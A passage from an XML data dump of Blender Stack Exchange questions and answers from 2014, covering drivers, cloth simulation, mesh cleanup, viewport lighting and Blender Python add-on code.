CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7758" PostTypeId="1" CreationDate="2014-03-14T09:21:26.993" Score="7" ViewCount="1977" Body="&lt;p&gt;I would like a driver that gives different result when duplicating the object but stays constant on frame update, transformations, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;noise.random gets updated on frame change. I thought about using the object Id (bpy.data.objects[x].id_data.as_pointer()) but it stays on objects[x] on the duplicates instead of using the id of the duplicated objects, making all duplicates the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find the path to that id in the &lt;em&gt;Add Variable&lt;/em&gt; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible the solution should be a simple expression. Best would be a simple RNA path.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-07-02T09:48:51.357" Title="How can I get a random number that is constant per object in a driver?" Tags="&lt;drivers&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7759" PostTypeId="2" ParentId="7757" CreationDate="2014-03-14T09:29:48.627" Score="7" Body="&lt;p&gt;Try using the &lt;em&gt;Copy Rotation&lt;/em&gt; constraint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pFQTK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RadMZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-14T09:29:48.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7760" PostTypeId="1" AcceptedAnswerId="7761" CreationDate="2014-03-14T14:59:42.433" Score="6" ViewCount="22900" Body="&lt;p&gt;I am trying to get a waving effect for a flag in my animation I am working on. However when I click alt a the cloth fabric just hangs there not being affected at all by the wind. I have wind power at 163 and it is aimed right at the flag yet it still does not work. &lt;a href=&quot;http://www.pasteall.org/blend/27552&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/27552&lt;/a&gt; is the link to the file.&lt;/p&gt;&#xA;" OwnerUserId="2389" LastEditorUserId="2389" LastEditDate="2014-03-14T15:41:42.013" LastActivityDate="2016-12-02T21:18:30.880" Title="Wind force field not working" Tags="&lt;cloth-simulation&gt;&lt;force-fields&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7761" PostTypeId="2" ParentId="7760" CreationDate="2014-03-14T15:15:18.597" Score="5" Body="&lt;p&gt;I am not sure what exactly the  problem is but this is my guess.&#xA;You need to decrease the mass of the flag. By default it is quite heavy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xi9vk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Final Result&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=68256&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/pic/show.php?id=68256&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-14T15:39:08.853" LastActivityDate="2014-03-14T15:39:08.853" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="7763" PostTypeId="1" AcceptedAnswerId="7764" CreationDate="2014-03-14T16:44:00.923" Score="3" ViewCount="1105" Body="&lt;p&gt;So I was messing with Subsurf modifier to create a certain sword and then some weird artifacts began to appear (cape-like). I've tried adjusting the Crease, but couldn't achive what I wanted. Basicly, what I whant is the as on the screens, but wo any artifacts :)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7XMoH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SFVAk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Also, here's the .blend file, cause I assume I didn't make myselt 100% clear.&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0B0hdCv37NrtVMXU4eFB2MFFlMGM/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B0hdCv37NrtVMXU4eFB2MFFlMGM/edit?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2014-03-14T19:05:50.537" Title="Subsurf Modifier artifacts" Tags="&lt;modifiers&gt;&lt;geometry&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7764" PostTypeId="2" ParentId="7763" CreationDate="2014-03-14T16:57:47.620" Score="4" Body="&lt;p&gt;You have some non-manifold geometry in your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7jkWV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a large ngon overlapping the other polygons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nlB4G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how to fix it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the large ngons&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;you can either do this manually which is faster in this case since there are only 2 ngons or you could use a selection tool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select -&gt; Select Faces by sides: greater than 4&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete them: &lt;kbd&gt;x&lt;/kbd&gt; -&gt; Faces (&lt;kbd&gt;3&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all geometry in the mesh: &lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;now to fix the holes: Mesh -&gt; Clean Up -&gt; Fill Holes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VK8CC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This fixes part of your problem. The other problem is the creasing. To fix this I would either use edge loops instead of creases or crease all continuous parts of the mesh rather than just single edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dPKeL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-14T19:05:50.537" LastActivityDate="2014-03-14T19:05:50.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7766" PostTypeId="2" ParentId="7712" CreationDate="2014-03-14T19:24:30.837" Score="5" Body="&lt;p&gt;This is a hack, at best. So, when an image in blender is rendered, it provides a convenient status bar at the top of the window.  The problem is a script has to be a renderEngine to take advantage of this.  The solution? Make your script a custom renderEngine, then have your button invoke the render function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a very basic example of updating the status bar, and adding a status string to the render window. You would put the code you want run in the myCode function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import time&#xA;&#xA;class CustomRenderEngine(bpy.types.RenderEngine):&#xA;    # These three members are used by blender to set up the&#xA;    # RenderEngine; define its internal name, visible name and capabilities.&#xA;    bl_idname = 'custom_renderer2'&#xA;    bl_label = 'Progress Bar Example2'&#xA;    bl_use_preview = True&#xA;    # This is an example function, put your code here&#xA;    def myCode(engine):&#xA;        engine.update_stats(&quot;Starting&quot;,&quot;&quot;)        #update the stats in render window&#xA;        time.sleep(1)&#xA;        engine.update_stats(&quot;Running&quot;,&quot;halfway&quot;)&#xA;        engine.update_progress(0.5)               #update the progress bar&#xA;        time.sleep(1)&#xA;&#xA;    # This is the method called by blender&#xA;    def render(self, scene):&#xA;        self.myCode()&#xA;&#xA;# Register the RenderEngine&#xA;bpy.utils.register_class(CustomRenderEngine)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then select your new renderEngine. From the top of the blender window click &quot;Blender Render&quot; and select &quot;Progress Bar Example.&quot;  Now you can run your script by pressing &lt;kbd&gt;F12&lt;/kbd&gt;.  One other method that might be useful is &lt;code&gt;test_break&lt;/code&gt;, which checks to see if the render(or script, in this case) has been cancelled.&lt;br&gt;&#xA;One last thing to note, directly executing a script (eg. with &lt;kbd&gt;alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;) doesn't display the progress bar, however when the render function (&lt;code&gt;byp.render.render&lt;/code&gt;) is bound to a panel it displays correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See these for more information:&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?286682-Setting-progress-bar-values&quot; rel=&quot;nofollow&quot;&gt;Blender artists, setting progress bar values&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.RenderEngine.html&quot; rel=&quot;nofollow&quot;&gt;Blender Python Api, RenderEngine&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2699" LastEditorUserId="2699" LastEditDate="2014-03-15T17:21:30.040" LastActivityDate="2014-03-15T17:21:30.040" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7767" PostTypeId="2" ParentId="3672" CreationDate="2014-03-14T20:00:58.477" Score="3" Body="&lt;p&gt;The problem is that each of these objects still has the same mesh, so modifying the mesh of one object appears to modify all the meshes. Two possible solutions are: make separate meshes for each object, difficult to do in the game engine; make all the objects in blender, then load them in the game engine.&#xA;I'd suggest finding a new way to do whatever it is you're trying to do.  If this hasn't changed your mind, these two threads give some hints at what I think you're trying to do.&lt;br&gt;&#xA;&lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-296586.html&quot; rel=&quot;nofollow&quot;&gt;moving and creating objects in the game engine&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?40026-create-a-new-mesh-in-game-engine&quot; rel=&quot;nofollow&quot;&gt;creating a new mesh in the game engine&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-03-14T20:00:58.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7768" PostTypeId="2" ParentId="6530" CreationDate="2014-03-14T21:27:07.177" Score="3" Body="&lt;p&gt;It is only creating one cube because your for loop is wrong.  In python the indentation is very important.  Note that in the code below, all functions for object creation have been indented to become part of the for loop, so that it is run 25 times, rather than once.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in range(0, rows*columns):&#xA;    if c == columns:&#xA;        r += 1&#xA;        c = 0&#xA;&#xA;&#xA;    bpy.ops.mesh.primitive_cube_add(location =(r*2, c*2, 0))&#xA;    c += 1&#xA;    bpy.context.scene.cursor_location = bpy.context.active_object.location&#xA;    bpy.context.scene.cursor_location.z -= 1&#xA;    bpy.ops.object.origin_set(type='ORIGIN_CURSOR')&#xA;####&#xA;    bpy.context.active_object.scale.x = 0.5&#xA;    bpy.context.active_object.scale.y = 0.5&#xA;    bpy.context.active_object.scale.z = 5&#xA;    bpy.ops.object.transform_apply(scale=True)&#xA;&#xA;    bpy.ops.anim.keyframe_insert_menu(type ='Scaling')&#xA;    bpy.context.active_object.animation_data.action.fcurves[0].lock = True&#xA;    bpy.context.active_object.animation_data.action.fcurves[1].lock = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other errors were since you used &lt;code&gt;bpy.context.active_object.animation_data.action.fcurves[0],lock = True&lt;/code&gt; instead of &lt;code&gt;bpy.context.active_object.animation_data.action.fcurves[0].lock = True&lt;/code&gt;.  That should be it, just pay very close attention to detail when copying code.  It's helpful if you can find tutorials that include working code, and then modify it yourself, that way you know what changes break it.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-03-14T21:27:07.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7769" PostTypeId="1" CreationDate="2014-03-14T22:12:33.997" Score="2" ViewCount="1473" Body="&lt;p&gt;I am making a game with BGE.&#xA;It is turn based, so I want to save a sequence of key strokes in a list.&#xA;The problem is that the list is not preserved the next time a key stroke is entered, as the script is run on every key event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My logic:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lkgVz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I have solved this til now is to convert the list to a JSON string and save it as a string property. However this is a very dirty way to do something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this in a nice elegant way?&lt;/p&gt;&#xA;" OwnerUserId="2797" LastEditorUserId="2217" LastEditDate="2014-07-29T14:25:43.563" LastActivityDate="2014-07-29T14:25:43.563" Title="How to define and access a list property for a game object in BGE" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7770" PostTypeId="1" AcceptedAnswerId="7771" CreationDate="2014-03-14T23:35:23.727" Score="5" ViewCount="1117" Body="&lt;p&gt;I recently changed the lighting in the viewport in the system preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qGGgl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I rest the positions of the lights? The &lt;em&gt;Reset to Default Value&lt;/em&gt; does not work. it simple sets them all to a top light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I reset the direction of the lamps without restoring factory defaults?&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-15T00:15:38.037" Title="Reset OpenGL lights?" Tags="&lt;light&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2017-12-16T03:16:45.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="7771" PostTypeId="2" ParentId="7770" CreationDate="2014-03-15T00:15:38.037" Score="2" Body="&lt;p&gt;You can find the defaults by opening a new instance of blender and loading the defaults (without saving the default.blend) and using python to get the default values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for light in bpy.context.user_preferences.system.solid_lights:&#xA;    print(light.direction)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will print:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Vector (-0.8920, 0.3000, 0.9000)&amp;gt;&#xA;&amp;lt;Vector (0.5880, 0.4600, 0.2480)&amp;gt;&#xA;&amp;lt;Vector (0.2160, -0.3920, -0.2160)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to set the light directions to the defaults, run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.context.user_preferences.system.solid_lights[0].direction = (-0.892, 0.3, 0.9)&#xA;bpy.context.user_preferences.system.solid_lights[1].direction = (0.5880, 0.4600, 0.2480)&#xA;bpy.context.user_preferences.system.solid_lights[2].direction = (0.2160, -0.3920, -0.2160)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-15T00:15:38.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7772" PostTypeId="2" ParentId="7637" CreationDate="2014-03-15T01:09:09.170" Score="2" Body="&lt;p&gt;I think what you are looking for is called &quot;ragdoll rigging&quot; which uses Rigid Body Dynamics. &lt;a href=&quot;http://cgcookie.com/blender/cgc-courses/creating-ragdoll-rigs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Cookie recently had a tutorial&lt;/a&gt; and you can find &lt;a href=&quot;http://www.youtube.com/results?search_query=blender%20ragdoll%20tutorial&amp;amp;sm=3&quot; rel=&quot;nofollow noreferrer&quot;&gt;several on youtube&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with the body. You want the body to be a Passive object that is animated, this will allow you to animate the position of the body and have the legs follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ch9cq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a leg which will be an active object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0NR6v.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you add an empty to be the pivot point. Locate the empty at the top of the leg at the point where you want it to rotate. Make the empty a rigid body constraint, set type to generic with one object being the body and the other being the leg, turn off disable collisions and turn on the x,y,z axis limits and set all to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g6MJi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will want to setup the parenting to help keep them together. Select the leg then Shift select the empty and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;, select the empty and shift select the body and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjust the other rigid body properties so that they behave the way you want them to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat this for each leg.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-15T01:09:09.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7775" PostTypeId="1" AcceptedAnswerId="7805" CreationDate="2014-03-15T06:02:09.097" Score="1" ViewCount="460" Body="&lt;p&gt;Where does Blender report on fluid simulation bake completion time? &lt;/p&gt;&#xA;" OwnerUserId="946" LastEditorUserId="5426" LastEditDate="2016-12-31T18:59:36.530" LastActivityDate="2016-12-31T18:59:36.530" Title="Where is fluid bake completion time reported?" Tags="&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7776" PostTypeId="2" ParentId="7769" CreationDate="2014-03-15T13:11:25.810" Score="1" Body="&lt;p&gt;You will have to define the list in the script like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if 'list' not in object:&#xA;    object['list'] = []&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then add objects using functions such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object['list'].append('x') # adds the string 'x' to the end&#xA;object['list'].instert(3, 'x') # adds the string 'x' at position 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2253" LastEditorUserId="2253" LastEditDate="2014-03-15T14:25:56.547" LastActivityDate="2014-03-15T14:25:56.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7778" PostTypeId="1" CreationDate="2014-03-15T16:32:52.703" Score="0" ViewCount="87" Body="&lt;p&gt;I have looked everywhere and I cannot find a good mouselook script that &lt;strong&gt;limits the up and down rotation of the camera&lt;/strong&gt;.  I've already found many scripts that do not limit it. I want one that stays steady and does not wobble one you are not moving your mouse.&lt;/p&gt;&#xA;" OwnerUserId="2503" LastEditorUserId="5426" LastEditDate="2015-12-14T00:32:28.437" LastActivityDate="2015-12-14T00:32:28.437" Title="Mouselook script needed" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-03-16T01:20:59.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="7779" PostTypeId="1" AcceptedAnswerId="7803" CreationDate="2014-03-15T17:13:40.200" Score="1" ViewCount="1051" Body="&lt;p&gt;These questions are about the addon that I'm creating. Please excuse the bad/messy example code, I've been following the &quot;get it working first, then optimize&quot; philosophy.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Issue 1 (dynamic memory allocation):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For my addon, I have defined several custom primitive datatypes (they are all classes derived from &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.props.html#propertygroup-example&quot; rel=&quot;nofollow&quot;&gt;bpy.types.PropertyGroup&lt;/a&gt;). I want to allow users to add as many of these as they like, so the amount of storage space or data items I will need is unknown (it will be determined at runtime by how many items the user adds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I know to get blender to manage an unknown number of objects is to create a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.props.html#collection-example&quot; rel=&quot;nofollow&quot;&gt;CollectionProperty&lt;/a&gt; (or list) of that object and to call &lt;code&gt;.add()&lt;/code&gt; on it, so that new items are added as needed and stored to disk (serialized) by Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Are there better, alternative methods for doing this with the Blender Python API? In C++, I can create a single vector or array of memory addresses/pointers (those pointers pointing to different data types if desired), and then use malloc to request a new empty block of memory to store whatever I want inside, for instance...&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Issue 2 (combined list output/pointers):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I want to display multiple types of data in a single unified list in Blender's interface. Every &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.Panel.html&quot; rel=&quot;nofollow&quot;&gt;Panel&lt;/a&gt; has a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.UILayout.html&quot; rel=&quot;nofollow&quot;&gt;UILayout&lt;/a&gt; attribute that allows you to define a custom interface layout. If you want to add a list to your panel, you have to use the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.UILayout.html#bpy.types.UILayout.template_list&quot; rel=&quot;nofollow&quot;&gt;template_list()&lt;/a&gt; function, and you need to supply it with a single &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.props.html#collection-example&quot; rel=&quot;nofollow&quot;&gt;CollectionProperty&lt;/a&gt; (which is a list of your items).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because (as stated above) my addon stores user data in multiple lists (one per type of data), I can't directly pass &lt;code&gt;template_list&lt;/code&gt; a single list that holds all of my data. To get around this, I have tried to construct a combined list where each item contains a reference to items from the other lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the interface, users add primitive slots with &lt;code&gt;+&lt;/code&gt;/&lt;code&gt;-&lt;/code&gt; buttons (which adds a pointer item called &lt;code&gt;VEFListItem&lt;/code&gt;), then fill the slot with a primitive by clicking on a primitive button directly below the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem in the code below happens in my &lt;code&gt;AddPoint&lt;/code&gt; operator, which attempts to assign a new point primitive to one of the list slots. This doesn't work because &lt;code&gt;VEFListItem&lt;/code&gt; has an attribute called &lt;code&gt;data&lt;/code&gt; (which is intended to point to an item in one of the primitive lists) that is not a descendent of &lt;code&gt;bpy_struct&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried making data a &lt;code&gt;bpy.props.PointerProperty()&lt;/code&gt;, but in order to do that it seems that I need to specify beforehand what type of data it will be pointing to, and of course I don't know since that is determined at runtime by the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Does the Blender API allow me to point to data without first specifying that data's type? Are there alternative approaches here? I know that with this approach, there is the potential problem of stale data with a combined list (which I attempted to get around by reconstructing the list every time a new primitive item is added).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Sample code:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# I will eventually be using these modules&#xA;import bpy, bmesh, math, mathutils&#xA;&#xA;# Required addon info (needed to list in the addons panel in user prefs)&#xA;# Expand later with remaining entries&#xA;bl_info = { &quot;name&quot;: &quot;VEF Tools Alpha&quot;,&#xA;            &quot;description&quot;: &quot;Enables arbitrary, precise transformations on mesh elements while modeling&quot;,&#xA;            &quot;author&quot;: &quot;XXXX XXXXXX&quot;,&#xA;            &quot;version&quot;: &quot;0, 1&quot;,&#xA;            &quot;blender&quot;: &quot;2, 68, 0&quot;,&#xA;            &quot;location&quot;: &quot;Properties &amp;gt; Scene &amp;gt; VEF Tools&quot;,&#xA;            &quot;warning&quot;: &quot;Unstable, use at your own risk&quot;,&#xA;            &quot;category&quot;: &quot;Mesh&quot; }&#xA;# empty line&#xA;&#xA;# //////////////////////////////&#xA;# SECTION: Basic data structures&#xA;&#xA;# Point primitive&#xA;class VEFPoint( bpy.types.PropertyGroup ):&#xA;    name = bpy.props.StringProperty() # user defined object name&#xA;&#xA;    # coords for this point/vert&#xA;    x = bpy.props.FloatProperty()&#xA;    y = bpy.props.FloatProperty()&#xA;    z = bpy.props.FloatProperty()&#xA;&#xA;    # This class is registered in the register function below&#xA;&#xA;&#xA;# Line primitive, maybe aggregate VEFPoint types here later? And check precision...&#xA;class VEFLine( bpy.types.PropertyGroup ):&#xA;    name = bpy.props.StringProperty() # user defined object name&#xA;&#xA;    # Coords of line origin/first point&#xA;    x1 = bpy.props.FloatProperty()&#xA;    y1 = bpy.props.FloatProperty()&#xA;    z1 = bpy.props.FloatProperty()&#xA;&#xA;    # Coords of line destination/second point&#xA;    x2 = bpy.props.FloatProperty()&#xA;    y2 = bpy.props.FloatProperty()&#xA;    z2 = bpy.props.FloatProperty()&#xA;&#xA;    # This class is registered in the register function below&#xA;&#xA;&#xA;# Plane primitive, maybe aggregate VEFPoint or VEFLine types here later?&#xA;class VEFPlane( bpy.types.PropertyGroup ):&#xA;    name = bpy.props.StringProperty() # user defined object name&#xA;&#xA;    # Coords of plane origin/first point&#xA;    x1 = bpy.props.FloatProperty()&#xA;    y1 = bpy.props.FloatProperty()&#xA;    z1 = bpy.props.FloatProperty()&#xA;&#xA;    # Coords of plane second point&#xA;    x2 = bpy.props.FloatProperty()&#xA;    y2 = bpy.props.FloatProperty()&#xA;    z2 = bpy.props.FloatProperty()&#xA;&#xA;    # Coords of plane third point&#xA;    x3 = bpy.props.FloatProperty()&#xA;    y3 = bpy.props.FloatProperty()&#xA;    z3 = bpy.props.FloatProperty()&#xA;&#xA;    # This class is registered in the register function below&#xA;&#xA;&#xA;class VEFListItem( bpy.types.PropertyGroup ):&#xA;    data = None&#xA;&#xA;    # # This isn't getting called. Fix.&#xA;    # def __init__( self ):&#xA;        # self.data = None&#xA;&#xA;&#xA;class VEFData( bpy.types.PropertyGroup ):&#xA;    vefPointList = bpy.props.CollectionProperty( type = VEFPoint )&#xA;    vefLineList = bpy.props.CollectionProperty( type = VEFLine )&#xA;    vefPlaneList = bpy.props.CollectionProperty( type = VEFPlane )&#xA;    vefGuiList = bpy.props.CollectionProperty( type = VEFListItem )&#xA;    activeListItemIndex = bpy.props.IntProperty() # stores index of active primitive in my UIList&#xA;&#xA;    # def __init__(self):&#xA;        # for item in vefPointList:&#xA;            # self.vefGUIList.add( item )&#xA;        # for item in vefLineList:&#xA;            # self.vefGUIList.add( item )&#xA;        # for item in vefPlaneList:&#xA;            # self.vefGUIList.add( item )&#xA;&#xA;    def syncList(self):&#xA;        for i in range( len( self.vefGuiList ) ):&#xA;            self.vefGuiList.remove( 0 )&#xA;        for item in self.vefPointList:&#xA;            tmp = self.vefGuiList.add()&#xA;            tmp.data = item&#xA;        for item in self.vefLineList:&#xA;            tmp = self.vefGuiList.add()&#xA;            tmp.data = item&#xA;        for item in self.vefPlaneList:&#xA;            tmp = self.vefGuiList.add()&#xA;            tmp.data = item&#xA;    # This class is registered in the register function below&#xA;&#xA;&#xA;# END SECTION: Basic data structures&#xA;# //////////////////////////////////&#xA;# SECTION: Operators&#xA;&#xA;&#xA;# set the currently active object to a new primitive&#xA;class AddPoint( bpy.types.Operator ):&#xA;    bl_idname = &quot;vef.addnewpoint&quot;&#xA;    bl_label = &quot;Add a new point&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute( self, context ):&#xA;        print( &quot;NOTHING TO SEE HERE FOLKS.&quot; )&#xA;        bpy.context.scene.update()&#xA;        durp = bpy.context.scene.vef_data.vefPointList.add()&#xA;        bpy.context.scene.update()&#xA;        print( &quot;DURP: &quot;, durp, &quot;\n&quot; )&#xA;        bpy.context.scene.vef_data.vefGuiList[bpy.context.scene.vef_data.activeListItemIndex].data = durp&#xA;        bpy.context.scene.update()&#xA;        print( &quot;AFTER ASSIGN: &quot;, bpy.context.scene.vef_data.vefGuiList[bpy.context.scene.vef_data.activeListItemIndex].data, &quot;\n&quot; )&#xA;        bpy.context.scene.update()&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class AddLine( bpy.types.Operator ):&#xA;    bl_idname = &quot;vef.addnewline&quot;&#xA;    bl_label = &quot;Add a new line&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute( self, context ):&#xA;        